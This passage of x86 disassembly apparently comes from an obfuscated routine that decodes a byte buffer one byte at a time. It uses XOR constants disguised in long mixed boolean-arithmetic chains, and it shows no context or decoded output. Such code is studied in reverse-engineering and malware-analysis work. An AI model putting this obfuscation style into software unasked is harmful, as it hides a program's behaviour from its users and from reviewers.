xor al, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x4716e9], al
mov al, byte [0x4714ea]
mov cl, al
or cl, cl
mov dl, cl
xor dl, 0xff
and dl, 0x8f
and cl, 0x70
or dl, cl
xor dl, 0x70
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x99
or al, 0x99
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4716ea], dl
mov al, byte [0x4714eb]
xor al, 0x57
mov byte [0x4716eb], al
mov al, byte [0x4714ec]
xor al, 0x6c
mov byte [0x4716ec], al
mov al, byte [0x4714ed]
mov cl, al
and cl, 0x9b
shl cl, 1
add al, 0x9b
sub al, cl
mov byte [0x4716ed], al
mov al, byte [0x4714ee]
mov cl, al
xor cl, 0xff
and cl, 1
and al, 0xfe
or cl, al
xor cl, 0xf
mov byte [0x4716ee], cl
mov al, byte [0x4714ef]
xor al, 0x24
mov byte [0x4716ef], al
mov al, byte [0x4714f0]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and ah, cl
xor ah, 0xff
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
and dl, dl
xor dl, 0xff
and dl, 0x58
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or al, 0x58
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x3e
and dl, 0xc1
mov cl, bl
and cl, 0x3e
and al, 0xc1
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x4716f0], dh
mov dl, byte [0x4714f1]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
and al, 0x8f
and dl, 0x70
mov cl, al
or cl, dl
xor cl, 0xff
or al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x4716f1], cl
mov cl, byte [0x4714f2]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x2d
or cl, 0x2d
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x4716f2], al
mov al, byte [0x4714f3]
xor al, 0xb5
mov byte [0x4716f3], al
mov al, byte [0x4714f4]
mov cl, al
xor cl, 0xff
and cl, 0xd4
and al, 0x2b
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0x1f
mov byte [0x4716f4], dl
mov al, byte [0x4714f5]
xor al, 6
mov byte [0x4716f5], al
mov bl, byte [0x4714f6]
mov dl, bl
and dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 1
sub bl, al
mov byte [0x4716f6], bl
mov dl, byte [0x4714f7]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0xf4
mov cl, dl
xor cl, 0xf4
xor cl, 0xff
or dl, 0xf4
and dl, cl
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
and al, dl
xor al, 0xff
mov byte [0x4716f7], al
mov al, byte [0x4714f8]
xor al, 0xa8
mov byte [0x4716f8], al
mov al, byte [0x4714f9]
mov cl, al
xor cl, 0xff
and cl, 0xf8
and al, 7
or cl, al
xor cl, 0xcc
mov byte [0x4716f9], cl
mov al, byte [0x4714fa]
xor al, 0xe2
mov byte [0x4716fa], al
mov al, byte [0x4714fb]
xor al, 0x29
mov byte [0x4716fb], al
mov dl, byte [0x4714fc]
mov al, dl
xor al, 0xff
and al, 6
mov cl, dl
and cl, 0xf9
or al, cl
xor al, 0xf9
mov cl, dl
and cl, 0xff
shl cl, 1
mov ah, dl
add ah, 0xff
sub ah, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, ah
add al, cl
xor al, 0xff
and al, 0x89
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov cl, ah
xor cl, 0x76
xor cl, 0xff
or ah, 0x76
and ah, cl
or al, ah
xor al, 0xff
mov byte [0x4716fc], al
mov cl, byte [0x4714fd]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xa3
and cl, 0xa3
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4716fd], al
mov al, byte [0x4714fe]
mov cl, al
xor cl, 0xff
and cl, 0x25
and al, 0xda
or cl, al
mov byte [0x4716fe], cl
mov al, byte [0x4714ff]
mov cl, al
xor cl, 0xdf
xor cl, 0xff
and cl, 0xdf
shl cl, 1
sub cl, 0xdf
sub al, cl
mov byte [0x4716ff], al
mov al, byte [0x471500]
mov cl, al
xor cl, 0xff
and cl, 0xa3
and al, 0x5c
or cl, al
xor cl, 6
mov byte [0x471700], cl
mov al, byte [0x471501]
mov cl, al
or cl, cl
xor cl, 0xff
mov ah, cl
xor ah, 0xff
and ah, 0xf0
and cl, 0xf
or ah, cl
xor ah, 0xf
mov dl, ah
and dl, 0xad
xor dl, 0xff
and ah, 0xad
xor ah, 0xff
and dl, ah
xor dl, 0xff
mov cl, al
and cl, 0xad
xor al, 0xad
or cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov byte [0x471701], dl
mov al, byte [0x471502]
mov cl, al
xor cl, 0x3a
xor cl, 0xff
and cl, 0x3a
shl cl, 1
sub cl, 0x3a
sub al, cl
mov byte [0x471702], al
mov al, byte [0x471503]
mov cl, al
xor cl, 0xff
and cl, 0x80
and al, 0x7f
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
mov byte [0x471703], cl
mov al, byte [0x471504]
xor al, 0xee
mov byte [0x471704], al
mov al, byte [0x471505]
xor al, 4
mov byte [0x471705], al
mov al, byte [0x471506]
xor al, 0xb1
mov byte [0x471706], al
mov al, byte [0x471507]
xor al, 0x3f
mov byte [0x471707], al
mov al, byte [0x471508]
xor al, 0x61
mov byte [0x471708], al
mov al, byte [0x471509]
mov cl, al
and cl, 0x74
shl cl, 1
add al, 0x74
sub al, cl
mov byte [0x471709], al
mov al, byte [0x47150a]
xor al, 0x74
mov byte [0x47170a], al
mov al, byte [0x47150b]
xor al, 0x3c
mov byte [0x47170b], al
mov al, byte [0x47150c]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x1e
add dl, cl
shl dl, 1
add al, 0x1e
add al, 0x28
sub al, dl
sub al, 0x28
mov byte [0x47170c], al
mov dl, byte [0x47150d]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or al, 0xdb
xor al, 0xff
and al, 0xff
and dl, 0xdb
mov cl, al
and cl, dl
xor al, dl
or cl, al
xor cl, 0xaa
mov byte [0x47170d], cl
mov al, byte [0x47150e]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x5f
xor al, 0xff
or al, 0xa0
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47170e], dl
mov al, byte [0x47150f]
xor al, 0xeb
mov byte [0x47170f], al
mov dl, byte [0x471510]
mov al, dl
xor al, 0xff
and al, 0x2c
mov cl, dl
xor cl, 0xd3
xor cl, 0xff
or dl, 0xd3
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0xbe
mov byte [0x471710], al
mov cl, byte [0x471511]
mov al, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x62
shl al, 1
xor edx, edx
sub dl, cl
add dl, 0x9e
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x471711], cl
mov al, byte [0x471512]
xor al, 0x4b
mov byte [0x471712], al
mov al, byte [0x471513]
mov dl, al
xor dl, 0x8b
xor dl, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x8b
shl dl, 1
sub dl, 0x8b
sub al, dl
mov byte [0x471713], al
mov dl, byte [0x471514]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0xbf
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0x40
and al, ah
xor al, 0xff
mov byte [0x471714], al
mov al, byte [0x471515]
xor al, 0x60
mov byte [0x471715], al
mov al, byte [0x471516]
mov cl, al
xor cl, 0x33
xor cl, 0xff
and cl, 0x33
shl cl, 1
sub cl, 0x33
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x471716], al
mov al, byte [0x471517]
mov cl, al
xor cl, 0xff
and cl, 0xf5
and al, 0xa
or cl, al
xor cl, 0xa
mov byte [0x471717], cl
mov al, byte [0x471518]
mov dl, al
xor dl, 0xff
and dl, 0xb1
mov cl, al
and cl, 0x4e
or dl, cl
xor dl, 0x95
xor dl, 0xff
and dl, 0x24
shl dl, 1
sub dl, 0x24
sub al, dl
mov byte [0x471718], al
mov al, byte [0x471519]
xor al, 0xd1
mov byte [0x471719], al
mov al, byte [0x47151a]
mov cl, al
xor cl, 0x22
xor cl, 0xff
and cl, 0x22
shl cl, 1
sub cl, 0x22
sub al, cl
mov byte [0x47171a], al
mov al, byte [0x47151b]
mov cl, al
xor cl, 0xff
and cl, 0x7d
and al, 0x82
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
mov byte [0x47171b], cl
mov al, byte [0x47151c]
xor al, 0xef
mov byte [0x47171c], al
mov al, byte [0x47151d]
xor al, 0x7c
mov byte [0x47171d], al
mov al, byte [0x47151e]
xor al, 0x69
mov byte [0x47171e], al
mov al, byte [0x47151f]
xor al, 0xc4
mov byte [0x47171f], al
mov al, byte [0x471520]
mov cl, al
and cl, 0x86
shl cl, 1
add al, 0x86
sub al, 0xb7
sub al, cl
add al, 0xb7
mov byte [0x471720], al
mov al, byte [0x471521]
xor al, 0xdc
mov byte [0x471721], al
mov al, byte [0x471522]
mov cl, al
and cl, 0xe7
shl cl, 1
mov dl, al
add dl, 0xe7
sub dl, cl
xor dl, 0xff
and dl, 0xe7
shl dl, 1
sub dl, 0xe7
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x471722], al
mov al, byte [0x471523]
xor al, 0xba
mov byte [0x471723], al
mov dl, byte [0x471524]
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
mov al, cl
and al, ah
xor cl, ah
or al, cl
xor al, 0xff
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x27
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
or dl, 0xd8
and al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x471724], al
mov al, byte [0x471525]
xor al, 0x4b
mov byte [0x471725], al
mov al, byte [0x471526]
mov cl, al
xor cl, 0xff
and cl, 0x4e
and al, 0xb1
or cl, al
xor cl, 0xf1
mov byte [0x471726], cl
mov al, byte [0x471527]
xor al, 0xba
mov byte [0x471727], al
mov al, byte [0x471528]
xor al, 0xb0
mov byte [0x471728], al
mov al, byte [0x471529]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0x48
xor ah, 0xff
and ah, 0x48
or dl, ah
xor dl, 0xff
xor al, 0xff
or al, 0x48
and dl, al
mov al, dl
xor al, 0xff
and al, 0xe9
and dl, 0x16
or al, dl
xor al, 0x16
mov byte [0x471729], al
mov al, byte [0x47152a]
xor al, 0xfb
mov byte [0x47172a], al
mov al, byte [0x47152b]
xor al, 0x5e
mov byte [0x47172b], al
mov al, byte [0x47152c]
xor al, 0xc3
mov byte [0x47172c], al
mov cl, byte [0x47152d]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x3d
xor al, 0xff
xor cl, 0xff
or cl, 0x3d
and al, cl
xor al, 0xff
mov byte [0x47172d], al
mov cl, byte [0x47152e]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xd
and cl, 0xd
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47172e], al
mov al, byte [0x47152f]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
and ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 1
and ah, 0xfe
or dl, ah
xor dl, 0xfe
xor dl, 0xff
or dl, 0x29
xor al, 0xff
or al, 0xd6
xor dl, 0xff
xor al, 0xff
mov cl, dl
and cl, al
xor dl, al
or cl, dl
mov byte [0x47172f], cl
mov al, byte [0x471530]
xor al, 0x99
mov byte [0x471730], al
mov al, byte [0x471531]
xor al, 0xd7
mov byte [0x471731], al
mov al, byte [0x471532]
xor al, 0x8e
mov byte [0x471732], al
mov al, byte [0x471533]
xor al, 0x27
mov byte [0x471733], al
mov al, byte [0x471534]
xor al, 0xa1
mov byte [0x471734], al
mov al, byte [0x471535]
mov cl, al
xor cl, 0x7b
and cl, al
shl cl, 1
mov dl, al
and dl, 0x84
or al, 0x84
add dl, al
sub dl, cl
mov byte [0x471735], dl
mov al, byte [0x471536]
xor al, 0xc6
mov byte [0x471736], al
mov al, byte [0x471537]
mov cl, al
xor cl, 0xff
and cl, 0xfb
and al, 4
or cl, al
mov byte [0x471737], cl
mov dl, byte [0x471538]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0x3e
xor al, 0xff
mov cl, dl
and cl, 0x3e
mov ah, dl
xor ah, 0xc1
add dl, ah
sub dl, cl
mov ah, dl
xor ah, 0xff
and ah, 0x20
and dl, 0xdf
or ah, dl
xor ah, 0xdf
xor al, 0xff
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
and al, ah
mov byte [0x471738], al
mov al, byte [0x471539]
xor al, 0xd8
mov byte [0x471739], al
mov al, byte [0x47153a]
xor al, 0x95
mov byte [0x47173a], al
mov al, byte [0x47153b]
xor al, 0x7f
mov byte [0x47173b], al
mov al, byte [0x47153c]
xor al, 0x94
mov byte [0x47173c], al
mov al, byte [0x47153d]
xor al, 0x41
mov byte [0x47173d], al
mov al, byte [0x47153e]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xe
xor cl, 0xff
or al, 0xf1
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x47173e], cl
mov al, byte [0x47153f]
mov cl, al
xor cl, 0xff
and cl, 0xac
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
and dl, 0x53
or cl, dl
mov byte [0x47173f], cl
mov al, byte [0x471540]
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov cl, al
xor cl, 0xff
or ah, cl
and ah, 7
mov dl, ah
xor dl, 0xff
and dl, 0x7e
and ah, 0x81
or dl, ah
xor dl, 0x81
and al, 0xf8
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
or dl, al
mov byte [0x471740], dl
mov al, byte [0x471541]
mov cl, al
xor cl, 0xff
and cl, 0x9b
xor al, 0xff
or al, 0x9b
xor al, 0xff
and al, 0xff
or cl, al
mov byte [0x471741], cl
mov al, byte [0x471542]
mov cl, al
xor cl, 0xff
or cl, 0xc2
add cl, 0x3e
and al, 0xc2
or cl, al
xor cl, 0x1c
mov byte [0x471742], cl
mov cl, byte [0x471543]
mov al, cl
xor al, 0xff
and al, 0xd2
mov dl, cl
and dl, 0x2d
or al, dl
xor al, 0x2d
and al, 0xe8
and cl, 0x17
or al, cl
xor al, 0xbb
mov byte [0x471743], al
mov al, byte [0x471544]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
or dl, 0xf0
add dl, 0x10
mov cl, al
xor cl, 0xf
and cl, al
mov al, dl
or al, cl
xor al, 0xff
or dl, cl
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x34
xor cl, 0xff
or al, 0xcb
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x471744], cl
mov al, byte [0x471545]
mov cl, al
and cl, 0xf6
shl cl, 1
mov dl, al
and dl, 0xf6
shl dl, 1
xor al, 0xf6
add al, dl
add al, 0xc
sub al, cl
sub al, 0xc
mov byte [0x471745], al
mov al, byte [0x471546]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x53
xor cl, 0xff
and al, 0xac
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x471746], cl
mov al, byte [0x471547]
mov cl, al
and cl, 0x2a
shl cl, 1
add al, 0x2a
sub al, cl
mov byte [0x471747], al
mov al, byte [0x471548]
xor al, 0xd2
mov byte [0x471748], al
mov al, byte [0x471549]
xor al, 0xf9
mov byte [0x471749], al
mov al, byte [0x47154a]
xor al, 0xed
mov byte [0x47174a], al
mov al, byte [0x47154b]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x23
xor al, 0xff
and al, 0xdc
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47174b], dl
mov al, byte [0x47154c]
xor al, 0x19
mov byte [0x47174c], al
mov al, byte [0x47154d]
mov cl, al
xor cl, 0xf8
xor cl, 0xff
and cl, 0xf8
shl cl, 1
sub cl, 0xf8
sub al, cl
mov byte [0x47174d], al
mov al, byte [0x47154e]
mov cl, al
and cl, 0xbd
shl cl, 1
sub al, 0x91
add al, 0xbd
add al, 0x91
sub al, cl
mov byte [0x47174e], al
mov al, byte [0x47154f]
xor al, 0xf
mov byte [0x47174f], al
mov al, byte [0x471550]
xor al, 0xc9
mov byte [0x471750], al
mov al, byte [0x471551]
xor al, 0x24
mov byte [0x471751], al
mov al, byte [0x471552]
xor al, 0xb5
mov byte [0x471752], al
mov al, byte [0x471553]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x89
xor dl, 0xff
xor al, 0xff
or al, 0x89
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471753], dl
mov al, byte [0x471554]
xor al, 0xeb
mov byte [0x471754], al
mov al, byte [0x471555]
mov cl, al
xor cl, 0xff
and cl, 0xc7
and al, 0x38
or cl, al
xor cl, 0xb0
mov byte [0x471755], cl
mov al, byte [0x471556]
xor al, 0xf4
mov byte [0x471756], al
mov al, byte [0x471557]
xor al, 0x55
mov byte [0x471757], al
mov al, byte [0x471558]
xor al, 0xc6
mov byte [0x471758], al
mov al, byte [0x471559]
xor al, 0xc3
mov byte [0x471759], al
mov dl, byte [0x47155a]
mov ah, dl
xor ah, 0xff
mov al, dl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
and ah, al
mov al, ah
xor al, 0xff
and al, 0x7b
and ah, 0x84
or al, ah
xor al, 0x84
and al, 0xad
mov cl, dl
xor cl, 0xff
and cl, 0xa8
and dl, 0x57
or cl, dl
xor cl, 0x57
and cl, 0x52
or al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x47175a], al
mov al, byte [0x47155b]
xor al, 0x88
mov byte [0x47175b], al
mov dl, byte [0x47155c]
mov al, dl
or al, al
xor al, 0xff
or al, 0x88
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
and cl, 0x77
xor cl, 0xff
add dl, 0x77
add dl, 1
add dl, cl
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov byte [0x47175c], al
mov al, byte [0x47155d]
xor al, 0x64
mov byte [0x47175d], al
mov al, byte [0x47155e]
mov ah, al
and ah, ah
mov cl, ah
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov ah, dl
or ah, 0xf2
xor ah, 0xff
or dl, 0xf2
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor al, 0xff
or al, 0xd
mov dl, ah
xor dl, 0xff
and dl, 0x94
and ah, 0x6b
or dl, ah
xor dl, 0x6b
xor al, 0xff
and al, 0xff
or al, 0
or dl, al
mov byte [0x47175e], dl
mov al, byte [0x47155f]
mov cl, al
xor cl, 0xff
and cl, 0x65
and al, 0x9a
or cl, al
xor cl, 0x20
mov byte [0x47175f], cl
mov bl, byte [0x471560]
mov dl, bl
and dl, 0xcd
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xcd
sub bl, al
mov byte [0x471760], bl
mov al, byte [0x471561]
xor al, 0xfa
mov byte [0x471761], al
mov al, byte [0x471562]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x18
xor dl, 0xff
mov cl, al
or cl, 0xe7
xor cl, 0xff
or dl, cl
xor dl, 0xff
xor dl, 0xff
mov cl, dl
xor cl, 0xe7
xor cl, 0xff
or dl, 0xe7
and dl, cl
shl dl, 1
add dl, 0x18
add dl, 1
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x471762], al
mov al, byte [0x471563]
xor al, 0xf2
mov byte [0x471763], al
mov al, byte [0x471564]
xor al, 0x2a
mov byte [0x471764], al
mov al, byte [0x471565]
mov cl, al
xor cl, 0x31
xor cl, 0xff
mov dl, al
or dl, 0x31
and dl, cl
shl dl, 1
mov cl, al
and cl, 0x31
shl cl, 1
xor al, 0x31
add al, cl
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x471765], al
mov al, byte [0x471566]
mov cl, al
xor cl, 0xa9
xor cl, 0xff
mov dl, al
or dl, 0xa9
and dl, cl
shl dl, 1
add al, 0xa9
sub al, dl
mov byte [0x471766], al
mov al, byte [0x471567]
xor al, 0x6f
mov byte [0x471767], al
mov al, byte [0x471568]
xor al, 6
mov byte [0x471768], al
mov al, byte [0x471569]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xd5
xor dl, 0xff
or al, 0x2a
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x471769], dl
mov dl, byte [0x47156a]
mov al, dl
or al, al
xor al, 0xff
mov cl, dl
or cl, cl
xor cl, 0xff
or al, cl
xor al, 0xff
xor al, 0xff
mov cl, al
xor cl, 1
xor cl, 0xff
or al, 1
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 1
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
xor al, 0xff
mov byte [0x47176a], al
mov al, byte [0x47156b]
xor al, 0xcc
mov byte [0x47176b], al
mov al, byte [0x47156c]
mov cl, al
and cl, 0x75
shl cl, 1
add al, 0x75
sub al, cl
mov byte [0x47176c], al
mov al, byte [0x47156d]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x17
xor al, 0xff
and al, 0xe8
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47176d], dl
mov al, byte [0x47156e]
xor al, 0x9e
mov byte [0x47176e], al
mov al, byte [0x47156f]
mov cl, al
xor cl, 0xff
and cl, 0x79
and al, 0x86
or cl, al
mov byte [0x47176f], cl
mov al, byte [0x471570]
mov cl, al
xor cl, 0xff
and cl, 0xce
and al, 0x31
or cl, al
xor cl, 0x14
mov byte [0x471770], cl
mov cl, byte [0x471571]
mov al, cl
xor al, 0xff
and al, 0x53
and cl, 0xac
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
xor al, 0x47
mov byte [0x471771], al
mov al, byte [0x471572]
xor al, 0xe4
mov byte [0x471772], al
mov al, byte [0x471573]
mov cl, al
and cl, 0xfb
shl cl, 1
add al, 0xfb
mov dl, al
xor dl, 0xff
and dl, cl
xor cl, 0xff
and al, cl
sub al, dl
mov byte [0x471773], al
mov al, byte [0x471574]
xor al, 0x7b
mov byte [0x471774], al
mov cl, byte [0x471575]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x95
and cl, 0x95
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x471775], al
mov al, byte [0x471576]
mov cl, al
xor cl, 0xfd
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xfd
shl dl, 1
sub dl, 0xfd
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x471776], al
mov al, byte [0x471577]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xc7
and al, 0xc7
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471777], dl
mov al, byte [0x471578]
xor al, 0xa5
mov byte [0x471778], al
mov al, byte [0x471579]
xor al, 0x4e
mov byte [0x471779], al
mov al, byte [0x47157a]
mov dl, al
xor dl, 0xda
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xda
shl dl, 1
add dl, 0x25
add dl, 1
sub al, dl
mov byte [0x47177a], al
mov al, byte [0x47157b]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0x91
and al, 0x6e
or dl, al
mov byte [0x47177b], dl
mov al, byte [0x47157c]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0x8e
xor cl, 0xff
and cl, 0xff
and al, 0x8e
or cl, al
mov byte [0x47177c], cl
mov al, byte [0x47157d]
xor al, 0x12
mov byte [0x47177d], al
mov al, byte [0x47157e]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x63
xor dl, 0xff
and al, 0x9c
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47177e], dl
mov al, byte [0x47157f]
mov cl, al
and cl, 0x35
shl cl, 1
add al, 0x35
sub al, cl
mov byte [0x47177f], al
mov al, byte [0x471580]
xor al, 0x46
mov byte [0x471780], al
mov al, byte [0x471581]
xor al, 6
mov byte [0x471781], al
mov al, byte [0x471582]
mov cl, al
xor cl, 0xff
and cl, 0xb4
and al, 0x4b
or cl, al
xor cl, 0xaf
mov byte [0x471782], cl
mov al, byte [0x471583]
mov cl, al
xor cl, 0xff
and cl, 0xd
and al, 0xf2
or cl, al
mov byte [0x471783], cl
mov cl, byte [0x471584]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x6e
xor cl, 0xff
and cl, 0x91
or al, cl
xor al, 0xff
mov byte [0x471784], al
mov al, byte [0x471585]
xor al, 0x50
mov byte [0x471785], al
mov al, byte [0x471586]
xor al, 0xc4
mov byte [0x471786], al
mov al, byte [0x471587]
xor al, 0x48
mov byte [0x471787], al
mov al, byte [0x471588]
mov cl, al
xor cl, 0xc
xor cl, 0xff
and cl, 0xc
shl cl, 1
sub cl, 0xc
sub al, cl
mov byte [0x471788], al
mov al, byte [0x471589]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
and cl, 5
mov ah, al
and ah, 0xfa
or cl, ah
xor cl, 0xfa
and dl, cl
xor dl, 0xff
and dl, 0x63
or al, 0x63
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and dl, al
mov byte [0x471789], dl
mov cl, byte [0x47158a]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x20
and cl, 0x20
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47178a], al
mov dl, byte [0x47158b]
mov al, dl
xor al, 0xff
or al, 0x11
add al, 0xef
and dl, 0x11
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
mov byte [0x47178b], al
mov al, byte [0x47158c]
xor al, 0x21
